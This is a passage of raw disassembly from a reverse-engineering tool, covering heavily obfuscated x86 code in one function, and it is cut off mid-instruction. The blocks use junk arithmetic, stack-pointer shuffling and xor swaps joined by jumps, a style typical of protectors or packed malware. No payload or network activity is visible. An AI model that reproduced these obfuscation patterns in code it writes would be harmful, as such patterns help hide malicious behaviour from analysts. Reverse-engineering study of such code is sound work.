add bp, 2BD1h xor bp, 6741h add bp, 57BDh add bp, 681Ah add dx, bp jmp loc_596CD0 ; --------------------------------------------------------------------------- loc_590583: ; CODE XREF: sub_57DD3A+19D05j pop eax jmp loc_58EA5C ; --------------------------------------------------------------------------- loc_590589: ; CODE XREF: sub_57DD3A+1C3B3j push ebx push [esp+1Eh+var_1A] pop ebx pop [esp+1Eh+var_1E] jmp loc_5962C5 ; --------------------------------------------------------------------------- loc_590597: ; CODE XREF: sub_57DD3A+15FDEj and ebp, 31BF04C5h sub esp, 4 mov [esp+1Eh+var_1E], edx mov edx, 205E4FE0h xor ebp, edx pop edx or edx, ebp jmp loc_58E934 ; --------------------------------------------------------------------------- loc_5905B5: ; CODE XREF: sub_57DD3A+19E58j mov ebx, [esp+1Ah+var_1A] add esp, 4 and dl, cl push [esp+16h+var_16] jmp loc_59AA6D ; --------------------------------------------------------------------------- loc_5905C5: ; CODE XREF: sub_57DD3A+1A7B5j push esi mov esi, 46B97579h add ebp, esi jmp loc_59BCC3 ; --------------------------------------------------------------------------- push [esp+1Eh+var_1E] pop ecx jmp loc_5928D7 ; --------------------------------------------------------------------------- loc_5905DB: ; CODE XREF: sub_57DD3A+1F47Cj mov [esp+1Eh+var_1E], edx push ebx push 78D53DEDh pop ebx add ebx, 872AC311h mov edx, ebx pop ebx mov esi, edx pop edx and [edi+1Ch], esi pop esi jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5905FA: ; CODE XREF: sub_57DD3A+1A4F8j sub eax, 235E31Dh add edi, 465B61FFh add edi, eax push 1300h mov [esp+1Ah+var_1A], ebx mov ebx, 465B61FFh jmp loc_592036 ; --------------------------------------------------------------------------- loc_590619: ; CODE XREF: sub_57DD3A+210FEj push [esp+1Ah+var_16] pop ebp pop [esp+1Ah+var_1A] pop esp mov [esp+12h+var_12], ecx push [esp+12h+var_E] pop ecx pop [esp+12h+var_12] pop esp xor edx, [esp+0] xor [esp+0], edx jmp loc_5A3040 ; --------------------------------------------------------------------------- loc_590639: ; CODE XREF: sub_57DD3A+18F5Dj sub ebp, 2262416Dh jmp loc_5A2E52 ; --------------------------------------------------------------------------- loc_590644: ; CODE XREF: sub_57DD3A+230D6j push 1ECD46D7h pop ecx xor ecx, 5E9564B1h jmp loc_597175 ; --------------------------------------------------------------------------- loc_590655: ; CODE XREF: sub_57DD3A+23628j mov eax, 7AE04703h inc eax sub eax, 65565589h jmp loc_59195B ; --------------------------------------------------------------------------- loc_590665: ; CODE XREF: sub_57DD3A+17976j mov esp, [esp+0] mov [esp+0], esp add dword ptr [esp+0], 4 push dword ptr [esp+0] push [esp+0Eh+var_E] pop eax push eax mov eax, esp add eax, 4 jmp loc_5913B0 ; --------------------------------------------------------------------------- loc_590686: ; CODE XREF: sub_57DD3A+180A2j sub ebp, 4 push ebp push [esp+16h+var_12] mov ebp, [esp+1Ah+var_1A] add esp, 4 pop dword ptr [esp] mov esp, [esp+12h+var_12] push esp pop dword ptr [esp] push edx mov edx, 4 sub [esp+16h+var_12], 1EFF74E1h push edx jmp loc_591A2D ; --------------------------------------------------------------------------- loc_5906B8: ; CODE XREF: sub_57DD3A+16C7Fj pop esp add esp, 4 add dword ptr [edi+24h], 2DD85186h push ecx push edi push 22110D16h jmp loc_5A11A3 ; --------------------------------------------------------------------------- loc_5906CF: ; CODE XREF: sub_57DD3A+13F4Aj sub esp, 4 mov [esp+22h+var_22], edx xor [esp+22h+var_22], 50A23F10h mov eax, [esp+22h+var_22] add esp, 4 xor eax, 50A23F10h pop edx neg eax add eax, 1 push ebx mov ebx, 6584402Ah sub eax, 3CB523FAh sub eax, ebx add eax, 3CB523FAh pop ebx sub esi, eax push [esp+1Ah+var_1A] pop eax add esp, 4 push 325h mov [esp+1Ah+var_1A], esi jmp loc_59BF31 ; --------------------------------------------------------------------------- loc_59071E: ; CODE XREF: sub_57DD3A+1B01Bj push edi mov edi, 1E457CE5h sub edi, 1E457CE1h add ebp, edi pop edi xor ebp, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], ebp xor ebp, [esp+1Ah+var_1A] jmp loc_59553E ; --------------------------------------------------------------------------- loc_59073B: ; CODE XREF: sub_57DD3A+10E6Ej mov esi, 588B7BF0h mov ebp, 69293DB2h xor ebp, esi pop esi sub ecx, ebp pop ebp shr ecx, 7 jmp loc_5952D4 ; --------------------------------------------------------------------------- loc_590753: ; CODE XREF: sub_57DD3A+2025Dj mov word ptr [esp+20h+var_22+2], ax push edx jmp loc_58E8D5 ; --------------------------------------------------------------------------- loc_59075D: ; CODE XREF: sub_57DD3A+15C1Dj mov edi, 5DD91B33h dec edi shl edi, 5 dec edi sub edi, 3C792C24h jmp loc_593A2C ; --------------------------------------------------------------------------- loc_590772: ; CODE XREF: sub_57DD3A+17F08j sub ebx, 600C41BEh push eax push ebp mov ebp, 5F32B74h jmp loc_58F8D4 ; --------------------------------------------------------------------------- loc_590784: ; CODE XREF: sub_57DD3A+1461Ej xor edi, [esp+2Ch+var_2E+2] pop esp jmp loc_58E5AA ; --------------------------------------------------------------------------- loc_59078D: ; CODE XREF: sub_57DD3A+2508Bj add ecx, 4 add ecx, 4 xor ecx, [esp+28h+var_2A+2] jmp loc_59666E ; --------------------------------------------------------------------------- loc_59079E: ; CODE XREF: sub_57DD3A+1A8B5j mov al, dh mov [ecx], al pop eax pop edx jmp loc_595AFA ; --------------------------------------------------------------------------- loc_5907A9: ; CODE XREF: sub_57DD3A+1340Cj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+20h+var_22+2] mov esp, [esp+20h+var_22+2] jmp loc_591E11 ; --------------------------------------------------------------------------- loc_5907BF: ; CODE XREF: sub_57DD3A+18ECFj pop eax jmp loc_59788B ; --------------------------------------------------------------------------- loc_5907C5: ; CODE XREF: sub_57DD3A+228B1j add edi, ecx pop ecx xor edi, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], edi xor edi, [esp+18h+var_1A+2] pop esp push ebx push eax mov ah, 0A2h mov bh, ah jmp loc_59FF9E ; --------------------------------------------------------------------------- loc_5907DD: ; CODE XREF: sub_57DD3A+19D2Bj pop esp jmp loc_59FEA8 ; --------------------------------------------------------------------------- loc_5907E3: ; CODE XREF: sub_57DD3A+17484j not esi and esi, 0AD65828h add esi, 0A7C17F01h jmp loc_59C5C7 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 52E6h mov [esp+1Ch+var_1E+2], ebx sub esp, 4 jmp loc_598D07 ; --------------------------------------------------------------------------- loc_590809: ; CODE XREF: sub_57DD3A+23A46j add ch, 1 shl ch, 4 shl ch, 5 xor ch, 0E5h push eax jmp loc_59903D ; --------------------------------------------------------------------------- loc_59081B: ; CODE XREF: sub_57DD3A+1D134j push 4141h jmp loc_5A2C0B ; --------------------------------------------------------------------------- loc_590825: ; CODE XREF: sub_57DD3A+14EF0j sub esi, edx pop edx push edi mov edi, 15AC5EB9h sub esp, 4 mov [esp+2Ch+var_2E+2], ebx push ecx push 60074E50h jmp loc_59DD44 ; --------------------------------------------------------------------------- loc_59083F: ; CODE XREF: sub_57DD3A+12462j mov [esp+42h+var_42], edx sub esp, 4 mov [esp+46h+var_46], ebp push ebx mov ebx, 74051974h push 6C24h mov [esp+4Eh+var_50+2], ecx jmp loc_597CCF ; --------------------------------------------------------------------------- loc_59085B: ; CODE XREF: sub_57DD3A+112CBj push ebx mov ebx, 3BAB2949h jmp loc_596AA0 ; --------------------------------------------------------------------------- loc_590866: ; CODE XREF: sub_57DD3A+1C62Dj push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_59CCF7 ; --------------------------------------------------------------------------- loc_590874: ; CODE XREF: sub_57DD3A+1B5A7j push eax mov eax, esp loc_590877: ; DATA XREF: sub_57DD3A+16CE8o ; sub_57DD3A+16CF5o push ebx mov ebx, 4 jmp loc_58F9D6 ; --------------------------------------------------------------------------- loc_590882: ; CODE XREF: sub_57DD3A+11E4Cj pop ebp push 7041h mov [esp+3Ah+var_3A], edx jmp loc_5961ED ; --------------------------------------------------------------------------- loc_590890: ; CODE XREF: sub_57DD3A+1D6F0j add esp, 4 sub esi, 1A111839h jmp loc_59E19F ; --------------------------------------------------------------------------- loc_5908A1: ; CODE XREF: sub_57DD3A+21589j mov [esp+36h+var_36], ebp jmp loc_5970B3 ; --------------------------------------------------------------------------- loc_5908A9: ; CODE XREF: sub_57DD3A+18731j mov dh, ch mov ecx, [esp+36h+var_36] jmp loc_598E2C ; --------------------------------------------------------------------------- loc_5908B3: ; CODE XREF: sub_57DD3A+1A412j add ebp, eax push esi push 145A253Eh mov esi, [esp+3Eh+var_3E] add esp, 4 sub ebp, 0FC51FA0h jmp loc_59283D ; --------------------------------------------------------------------------- loc_5908CC: ; CODE XREF: sub_57DD3A+24D8Aj add esp, 4 xor ecx, 66CA480Dh and ecx, 117F433Ah jmp loc_599467 ; --------------------------------------------------------------------------- loc_5908E3: ; CODE XREF: sub_57DD3A+19C91j xor [esp+36h+var_36], 57C4A01h pop eax push 27BDh mov [esp+36h+var_36], edi mov edi, 33F056Dh push ebx jmp loc_5927D6 ; --------------------------------------------------------------------------- loc_5908FE: ; CODE XREF: sub_57DD3A+12362j mov [esp+0Eh+var_E], esi not [esp+0Eh+var_E] pop esi shl esi, 6 push 57BAh mov [esp+0Eh+var_E], edx push eax jmp loc_597F74 ; --------------------------------------------------------------------------- loc_590916: ; CODE XREF: sub_57DD3A+25363j sub eax, 22912634h not eax add eax, 0D815BDD3h jmp loc_596481 ; --------------------------------------------------------------------------- loc_590927: ; CODE XREF: sub_57DD3A+1C5C2j sub ecx, 5E8F079Ah add ecx, 7A958E84h sub edx, ecx pop ecx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59093B: ; CODE XREF: sub_57DD3A+1ACEEj and ebx, ebp pop ebp xor ebx, 75383B18h sub ebx, 25013915h sub eax, 30ED6A11h add eax, ebx add eax, 30ED6A11h pop ebx jmp loc_5981E8 ; --------------------------------------------------------------------------- loc_59095C: ; CODE XREF: sub_57DD3A+11C8Fj push esi mov esi, 18FFE169h add ecx, esi pop esi xor edx, ecx pop ecx sub esi, edx pop edx sub edx, 17C26C5Ah add edx, esi push edi mov edi, 2C8A439Bh xor edi, 4E0E7989h inc edi jmp loc_593551 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- push ebx mov ebx, 4 push esi mov esi, 62115A0Bh jmp loc_596768 ; --------------------------------------------------------------------------- loc_590999: ; CODE XREF: sub_57DD3A+24F95j pop ebx add ebx, edi pop edi add ebp, ebx mov ebx, [esp+0Ch+var_E+2] jmp loc_59DA7C ; --------------------------------------------------------------------------- loc_5909A7: ; CODE XREF: sub_57DD3A+1DED4j add edi, 4 jmp loc_591D55 ; --------------------------------------------------------------------------- loc_5909B2: ; CODE XREF: sub_57DD3A+16FF6j pop ebx sub edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] pop esp mov [esp+4+var_4], eax push edi mov edi, 3E0973h mov eax, edi pop edi push ebx mov ebx, 325C6DD7h neg ebx not ebx sub ebx, 5DBC3BC3h jmp loc_5991D1 ; --------------------------------------------------------------------------- loc_5909E4: ; CODE XREF: sub_57DD3A+20BD0j mov eax, [esp+8+var_8] push ecx jmp loc_5A0E15 ; --------------------------------------------------------------------------- loc_5909ED: ; CODE XREF: sub_57DD3A+16973j push eax mov ah, 50h add ah, 64h jmp loc_599F1E ; --------------------------------------------------------------------------- loc_5909F8: ; CODE XREF: sub_57DD3A+1D8E6j and bh, al pop eax push dx jmp loc_5A043F ; --------------------------------------------------------------------------- loc_590A02: ; CODE XREF: sub_57DD3A+12D1Dj mov ebp, 1D0D6A11h mov ecx, ebp jmp loc_5A0045 ; --------------------------------------------------------------------------- loc_590A0E: ; CODE XREF: sub_57DD3A+1B00Ej push esp pop ebx sub esp, 4 jmp loc_58F667 ; --------------------------------------------------------------------------- loc_590A1B: ; CODE XREF: sub_57DD3A+2258Fj sub esi, 67FA5B2Dh pop ebx sub esp, 4 jmp loc_595E00 ; --------------------------------------------------------------------------- loc_590A2D: ; CODE XREF: sub_57DD3A+1DA7Bj pop esi jmp loc_58E353 ; --------------------------------------------------------------------------- loc_590A33: ; CODE XREF: sub_57DD3A+1EB8Ej mov eax, esi jmp loc_599640 ; --------------------------------------------------------------------------- loc_590A3A: ; CODE XREF: sub_57DD3A+191C7j mov esi, 59146D21h jmp loc_596E4A ; --------------------------------------------------------------------------- loc_590A44: ; CODE XREF: sub_57DD3A+15A29j pop eax sub esp, 4 jmp loc_596B48 ; --------------------------------------------------------------------------- loc_590A4D: ; CODE XREF: sub_57DD3A+13B2Dj push [esp+0Eh+var_E] jmp loc_5A2686 ; --------------------------------------------------------------------------- loc_590A55: ; CODE XREF: sub_57DD3A+1A3F9j push ecx push ebp jmp loc_590A02 ; --------------------------------------------------------------------------- loc_590A5C: ; CODE XREF: sub_57DD3A+10DB2j push esi mov esi, edx mov ebx, esi pop esi jmp loc_59E73A ; --------------------------------------------------------------------------- loc_590A67: ; CODE XREF: sub_57DD3A+1EB48j pop ebp jmp loc_59B0C5 ; --------------------------------------------------------------------------- loc_590A6D: ; CODE XREF: sub_57DD3A+18A10j push 246F1A12h mov esi, [esp+14h+var_16+2] add esp, 4 xor esi, eax push [esp+10h+var_12+2] pop eax add esp, 4 push eax mov eax, esi jmp loc_5980A5 ; --------------------------------------------------------------------------- loc_590A8C: ; CODE XREF: sub_57DD3A+20D3Aj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] add ebx, 4 jmp loc_59CCAD ; --------------------------------------------------------------------------- loc_590AA8: ; CODE XREF: sub_57DD3A+1B8A3j sub eax, 3B8258BAh xor eax, 0F72A4E75h sub edx, eax pop eax sub edx, 593BCDAEh mov edi, edx pop edx add edi, 0FFFFFFFFh push esi push edx mov edx, 32F650F3h sub edx, 0CA6D275Ch mov esi, edx pop edx jmp loc_595B69 ; --------------------------------------------------------------------------- loc_590AD9: ; CODE XREF: sub_57DD3A+117DEj mov ebx, 9D0EFB82h add ebp, ebx mov ebx, [esp+60h+var_60] jmp loc_59448C ; --------------------------------------------------------------------------- loc_590AE8: ; CODE XREF: sub_57DD3A+1CB2Bj not al add al, 1 push ecx push 7114h jmp loc_5A202F ; --------------------------------------------------------------------------- loc_590AF7: ; CODE XREF: sub_57DD3A+1DBCCj xchg ebx, edx dec ebx jmp loc_5A2D8A ; --------------------------------------------------------------------------- loc_590AFF: ; CODE XREF: sub_57DD3A+1CE21j add esi, 4 push edx jmp loc_59E99D ; --------------------------------------------------------------------------- mov [esp+6Ch+var_6C], esi jmp loc_5970C1 ; --------------------------------------------------------------------------- loc_590B13: ; CODE XREF: sub_57DD3A+12FFCj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+6Ch+var_6C] pop esp inc ecx jmp loc_593929 ; --------------------------------------------------------------------------- loc_590B2B: ; CODE XREF: sub_57DD3A+1AC41j push ebx mov ebx, 14AD6510h add [esp+6Ch+var_68], ebx pop ebx pop esi jmp loc_597F88 ; --------------------------------------------------------------------------- loc_590B3C: ; CODE XREF: sub_57DD3A+220F5j mov esi, [esp+64h+var_64] add esp, 4 xor edi, [esp+60h+var_60] xor [esp+60h+var_60], edi xor edi, [esp+60h+var_60] pop esp mov [esp+5Ch+var_5C], esi jmp loc_59DEEB ; --------------------------------------------------------------------------- loc_590B57: ; CODE XREF: sub_57DD3A+240C0j add edx, edi mov edi, [esp+5Ch+var_5C] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5998C0 ; --------------------------------------------------------------------------- loc_590B70: ; CODE XREF: sub_57DD3A+2505Dj add esp, 4 jmp loc_59A8CA ; --------------------------------------------------------------------------- loc_590B78: ; CODE XREF: sub_57DD3A+1B742j sub ecx, 7DD528C0h xor ecx, 0DD0F3931h sub ebp, ecx pop ecx jmp loc_59EFEC ; --------------------------------------------------------------------------- loc_590B8C: ; CODE XREF: sub_57DD3A+1E750j mov esp, [esp+58h+var_58] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_590B94: ; CODE XREF: sub_57DD3A+2097Aj pop eax add esi, 251628E4h pop ebx push edx mov edx, 2 sub esi, 11E0207Bh add esi, 97570Bh add esi, edx push eax mov eax, 97570Bh sub esi, eax pop eax push ecx mov ecx, esp jmp loc_5A24B8 ; --------------------------------------------------------------------------- loc_590BC1: ; CODE XREF: sub_57DD3A+1D349j mov esi, 4 jmp loc_59E13E ; --------------------------------------------------------------------------- loc_590BCB: ; CODE XREF: sub_57DD3A+17595j push esi mov esi, 26D008E1h jmp loc_594F2F ; --------------------------------------------------------------------------- loc_590BD6: ; CODE XREF: sub_57DD3A+212ADj add al, cl pop ecx add al, cl sub al, 0F1h pop ecx sub esp, 2 jmp loc_591EEE ; --------------------------------------------------------------------------- loc_590BE9: ; CODE XREF: sub_57DD3A+163A6j add edi, ebp jmp loc_5A1B66 ; --------------------------------------------------------------------------- loc_590BF0: ; CODE XREF: sub_57DD3A+20983j add esp, 4 jmp loc_5A1DFF ; --------------------------------------------------------------------------- loc_590BFB: ; CODE XREF: sub_57DD3A+20890j mov ebx, [esp+54h+var_54] jmp loc_59922B ; --------------------------------------------------------------------------- loc_590C03: ; CODE XREF: sub_57DD3A+14B2Ej sub edi, 5FC264B1h pop esi push eax mov eax, 31573569h not eax add eax, 13220588h sub eax, 2CA2202Bh jmp loc_59D82C ; --------------------------------------------------------------------------- loc_590C21: ; CODE XREF: sub_57DD3A+1DD25j mov edi, 69AD59F2h push 6BD9h mov [esp+58h+var_58], edi jmp loc_59B4C6 ; --------------------------------------------------------------------------- loc_590C33: ; CODE XREF: sub_57DD3A+1BFF9j mov eax, 4C3F34E3h push eax pop ebp jmp loc_59718B ; --------------------------------------------------------------------------- loc_590C3F: ; CODE XREF: sub_57DD3A+223A6j push eax mov eax, 5EF10CCBh push ecx mov ecx, 7B854B67h xor eax, ecx pop ecx push esi mov esi, 6A85204Dh add esi, 53DE0071h not esi neg esi not esi xor esi, 278BD4EAh add eax, esi pop esi shl eax, 1 xor eax, 3B05CEF1h or esi, eax pop eax sub esi, 0A9360630h mov ebp, esi pop esi jmp loc_590C95 ; --------------------------------------------------------------------------- loc_590C81: ; CODE XREF: sub_57DD3A+1DE9Fj add edi, 0FFFFFFFFh jmp loc_594DFE ; --------------------------------------------------------------------------- loc_590C89: ; CODE XREF: sub_57DD3A+20AC0j pop ebp jmp loc_5A1C48 ; --------------------------------------------------------------------------- loc_590C8F: ; CODE XREF: sub_57DD3A+108A5j push ebx jmp loc_59003F ; --------------------------------------------------------------------------- loc_590C95: ; CODE XREF: sub_57DD3A+12F42j add eax, ebp pop ebp sub esp, 4 mov [esp+54h+var_54], edi mov edi, 357EF366h xor eax, edi push [esp+54h+var_54] mov edi, [esp+58h+var_58] add esp, 4 push 20F0h mov [esp+58h+var_58], ecx push 2F27h mov [esp+5Ch+var_5C], esp add [esp+5Ch+var_5C], 4 jmp loc_59657A ; --------------------------------------------------------------------------- loc_590CCD: ; CODE XREF: sub_57DD3A+1B13Bj mov edi, [esp+5Ch+var_5C] add esp, 4 xchg ecx, [esp+58h+var_58] mov esp, [esp+58h+var_58] push 72FDh jmp loc_593BC7 ; --------------------------------------------------------------------------- loc_590CE6: ; CODE XREF: sub_57DD3A+21051j xor [esp+5Ch+var_5C], ebp mov ecx, [esp+5Ch+var_5C] jmp loc_590EE0 ; --------------------------------------------------------------------------- loc_590CF1: ; CODE XREF: sub_57DD3A+1A661j push [esp+5Ch+var_5C] pop edi add esp, 4 push esi push [esp+5Ch+var_58] mov esi, [esp+60h+var_60] add esp, 4 pop [esp+5Ch+var_5C] pop esp inc [esp+54h+var_54] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_590D13: ; CODE XREF: sub_57DD3A+15B74j sub esi, 4 xchg esi, [esp+58h+var_58] pop esp jmp loc_5A1D7C ; --------------------------------------------------------------------------- loc_590D22: ; CODE XREF: sub_57DD3A+142D3j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_590D27: ; CODE XREF: sub_57DD3A+229B5j add esp, 4 push eax mov eax, 43C2F7Ah add ecx, eax mov eax, [esp+54h+var_54] push ebx jmp loc_590B13 ; --------------------------------------------------------------------------- loc_590D3B: ; CODE XREF: sub_57DD3A+20F12j add edx, edi jmp loc_5917BB ; --------------------------------------------------------------------------- loc_590D42: ; CODE XREF: sub_57DD3A+21E5Fj pop ecx push 61F2h mov [esp+58h+var_58], edi mov edi, esp push edx mov edx, 3E5830DEh add edx, 174E7065h shl edx, 7 shl edx, 6 add edx, 2BD7A004h add edi, edx pop edx sub edi, 4 push edi push [esp+5Ch+var_58] pop edi pop [esp+5Ch+var_5C] pop esp mov [esp+54h+var_54], esi push 2 push [esp+58h+var_58] jmp loc_58E7D4 ; --------------------------------------------------------------------------- loc_590D85: ; CODE XREF: sub_57DD3A+137DFj sub dl, 2Ch sub dl, 1Ch sub dl, 0E7h xor ch, dl pop edx mov bl, ch pop ecx or bl, 20h push 0BA7h mov [esp+58h+var_58], edx jmp loc_59D0F1 ; --------------------------------------------------------------------------- loc_590DA4: ; CODE XREF: sub_57DD3A+24385j not [esp+58h+var_58] mov edx, [esp+58h+var_58] jmp loc_5978B8 ; --------------------------------------------------------------------------- loc_590DAF: ; CODE XREF: sub_57DD3A+1EDADj add esp, 4 add edi, 0A7FA7F9Ch push edi mov edx, [esp+58h+var_58] add esp, 4 jmp loc_59AC7B ; --------------------------------------------------------------------------- loc_590DC7: ; CODE XREF: sub_57DD3A+1A01Bj push 33C3h jmp loc_5A26A4 ; --------------------------------------------------------------------------- loc_590DD1: ; CODE XREF: sub_57DD3A+14F2Aj xor esi, 3D0570C9h push edx mov edx, 168B0B06h shl edx, 3 add edx, 4B4F2595h jmp loc_5924A6 ; --------------------------------------------------------------------------- loc_590DEB: ; CODE XREF: sub_57DD3A+1D3A5j mov [esp+5Ch+var_5C], ebp jmp loc_59C551 ; --------------------------------------------------------------------------- loc_590DF3: ; CODE XREF: sub_57DD3A+16B2Dj push edx mov edx, 6CCD37EAh mov ebx, 0C23C508Ch add ebx, 762B0FD3h sub ebx, edx sub ebx, 762B0FD3h pop edx or ebx, 62F65BFEh add ebx, 1 sub ebx, 6C2856A1h and ebx, 7E3C7C8Ah jmp loc_5A0F89 ; --------------------------------------------------------------------------- loc_590E2A: ; CODE XREF: sub_57DD3A+15812j pop ecx pop ebx sub esi, 5F692D2Eh add esi, ecx jmp loc_59A4E1 ; --------------------------------------------------------------------------- loc_590E39: ; CODE XREF: sub_57DD3A+2404Dj push ecx push esp pop ecx push 4261h mov [esp+5Ch+var_5C], ebx mov ebx, 54893AAFh sub ebx, 132F207Ch push 4F8Fh mov [esp+60h+var_60], esi mov esi, 46693929h jmp loc_59281D ; --------------------------------------------------------------------------- loc_590E61: ; CODE XREF: sub_57DD3A+2183Dj sub cl, al pop eax xor cl, 3Ah sub al, 0D3h sub al, 0CEh sub al, cl add al, 0CEh jmp loc_59DA70 ; --------------------------------------------------------------------------- loc_590E74: ; CODE XREF: sub_57DD3A+1B712j sub esp, 4 mov [esp+60h+var_60], edi mov edi, 67D56BF1h jmp loc_5A070B ; --------------------------------------------------------------------------- loc_590E84: ; CODE XREF: sub_57DD3A+151DDj add ebx, 11DA65B9h add ebx, esi sub ebx, 11DA65B9h jmp loc_59269B ; --------------------------------------------------------------------------- loc_590E97: ; CODE XREF: sub_57DD3A+1ABC3j push [esp+60h+var_60] jmp loc_59D6C9 ; --------------------------------------------------------------------------- loc_590E9F: ; CODE XREF: sub_57DD3A+16BA4j push ebp push ecx mov ecx, 6CFB0B9Ah jmp loc_5A29F7 ; --------------------------------------------------------------------------- loc_590EAB: ; CODE XREF: sub_57DD3A+1D9D7j mov edx, 4 jmp loc_58FE2B ; --------------------------------------------------------------------------- loc_590EB5: ; CODE XREF: sub_57DD3A+1FC2Bj add [esp+6Ch+var_68], ebx mov ebx, [esp+6Ch+var_6C] add esp, 4 jmp loc_59A396 ; --------------------------------------------------------------------------- loc_590EC4: ; CODE XREF: sub_57DD3A+1D1E0j push ecx jmp loc_59BA17 ; --------------------------------------------------------------------------- loc_590ECA: ; CODE XREF: sub_57DD3A+142EBj push [esp+6Ch+var_6C] pop eax add esp, 4 push ecx jmp loc_59FB09 ; --------------------------------------------------------------------------- loc_590ED7: ; CODE XREF: sub_57DD3A+22F37j mov dh, 26h neg dh jmp loc_591EB5 ; --------------------------------------------------------------------------- loc_590EE0: ; CODE XREF: sub_57DD3A+12FB2j add esp, 4 jmp loc_597B63 ; --------------------------------------------------------------------------- loc_590EEB: ; CODE XREF: sub_57DD3A+19904j push edi push [esp+5Ch+var_58] pop edi jmp loc_5A1F2A ; --------------------------------------------------------------------------- loc_590EF6: ; CODE XREF: sub_57DD3A+160CFj push ecx mov ecx, 56A46DAEh shr ecx, 3 add ecx, 3AA97066h sub ecx, 0FFEB5A93h add esi, ecx mov ecx, [esp+60h+var_60] add esp, 4 jmp loc_5964DD ; --------------------------------------------------------------------------- loc_590F1B: ; CODE XREF: sub_57DD3A+22C47j pop esp mov [esp+58h+var_58], edx mov dh, 0EBh not dh or dh, 5Ah xor dh, 9Bh shr dh, 3 jmp loc_59F4E4 ; --------------------------------------------------------------------------- loc_590F31: ; CODE XREF: sub_57DD3A+231B9j add esp, 4 sub esp, 4 jmp loc_5934ED ; --------------------------------------------------------------------------- loc_590F42: ; CODE XREF: sub_57DD3A+1720Aj or esi, 4755196Ah sub esi, 0FFFFFFFFh push eax jmp loc_59E335 ; --------------------------------------------------------------------------- loc_590F54: ; CODE XREF: sub_57DD3A+1C8B0j xor [esp+5Ch+var_5C], eax xor eax, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] xor ecx, [esp+5Ch+var_5C] xor [esp+5Ch+var_5C], ecx xor ecx, [esp+5Ch+var_5C] pop esp jmp loc_5A1988 ; --------------------------------------------------------------------------- loc_590F6C: ; CODE XREF: sub_57DD3A+1E77Ej jmp loc_58E353 ; --------------------------------------------------------------------------- loc_590F71: ; CODE XREF: sub_57DD3A+1BC8Aj not byte ptr [esp+58h+var_58+1] pop eax push ecx jmp loc_5A1F7A ; --------------------------------------------------------------------------- mov ax, word ptr [esp+58h+var_58] jmp loc_5952FC ; --------------------------------------------------------------------------- loc_590F85: ; CODE XREF: sub_57DD3A+1A986j xor esi, 0E23B9906h jmp loc_59FE15 ; --------------------------------------------------------------------------- loc_590F90: ; CODE XREF: sub_57DD3A+12795j and [edi+1Ch], ebp mov ebp, [esp+1Ah+var_1A] push ebx mov ebx, esp push eax mov eax, 75E6336h jmp loc_59B49A ; --------------------------------------------------------------------------- loc_590FA4: ; CODE XREF: sub_57DD3A+164A9j sub eax, ebp pop ebp pop ebx sub eax, 4C7C2BD3h jmp loc_59AE7B ; --------------------------------------------------------------------------- loc_590FB2: ; CODE XREF: sub_57DD3A+1742Ej mov ebp, edx pop edx push edx jmp loc_599F07 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] jmp loc_5A3143 ; --------------------------------------------------------------------------- loc_590FC4: ; CODE XREF: sub_57DD3A+1B95Fj mov ebp, edx pop edx xor ebp, edx pop edx push edi mov edi, 7A484A3Bh add ecx, edi mov edi, [esp+16h+var_16] jmp loc_59E234 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+16h+var_16] push 6B91h mov [esp+1Ah+var_1A], edx mov edx, esp add edx, 4 push 3008h mov [esp+1Eh+var_1E], ebp push 2 pop ebp add edx, ebp push [esp+1Eh+var_1E] mov ebp, [esp+22h+var_22] add esp, 4 sub esp, 4 mov [esp+22h+var_22], ecx jmp loc_58F434 ; --------------------------------------------------------------------------- loc_591018: ; CODE XREF: sub_57DD3A+21392j push dword ptr [edi+eax*4] push edx jmp loc_59B152 ; --------------------------------------------------------------------------- loc_591021: ; CODE XREF: sub_57DD3A+1445Dj push [esp+2Ah+var_26] pop ecx jmp loc_591CDD ; --------------------------------------------------------------------------- loc_59102B: ; CODE XREF: sub_57DD3A+11EFFj xor ecx, 3C575F5Dh shl ecx, 4 sub ecx, 46063635h shr ecx, 8 add ecx, 6539915Bh add ebx, ecx jmp loc_5A02BA ; --------------------------------------------------------------------------- loc_59104A: ; CODE XREF: sub_57DD3A+1E020j shl esi, 6 xor esi, 1B8B5B8Bh sub esi, 564D73BAh inc esi neg esi add esi, 9C4CC89Ch xor edx, esi mov esi, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_5A0A66 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+18h+var_1A+2] push edx mov edx, esp add edx, 4 jmp loc_59CF80 ; --------------------------------------------------------------------------- loc_591081: ; CODE XREF: sub_57DD3A+2214Aj mov edx, 1E8C6710h jmp loc_59E721 ; --------------------------------------------------------------------------- loc_59108B: ; CODE XREF: sub_57DD3A+11D37j push esi mov esi, 1CB60622h sub esi, 69965AD8h push ebx mov ebx, 79E32A26h xor esi, ebx pop ebx xor esi, 0F218CB96h sub [esp+1Ch+var_16+2], 50C05F8Fh add [esp+1Ch+var_16+2], esi add [esp+1Ch+var_16+2], 50C05F8Fh pop esi add [esp+18h+var_16+2], esi sub esp, 4 mov [esp+1Ch+var_1E+2], esi mov esi, 38E44AFAh sub [esp+1Ch+var_16+2], esi pop esi pop esi mov edx, [esp+14h+var_16+2] add esp, 4 jmp loc_59151E ; --------------------------------------------------------------------------- loc_5910DE: ; CODE XREF: sub_57DD3A+1E5DDj add edi, 4 xchg edi, [esp+10h+var_12+2] jmp loc_59ACA5 ; --------------------------------------------------------------------------- loc_5910EC: ; CODE XREF: sub_57DD3A+1FBF8j add esp, 4 push 27DBh mov 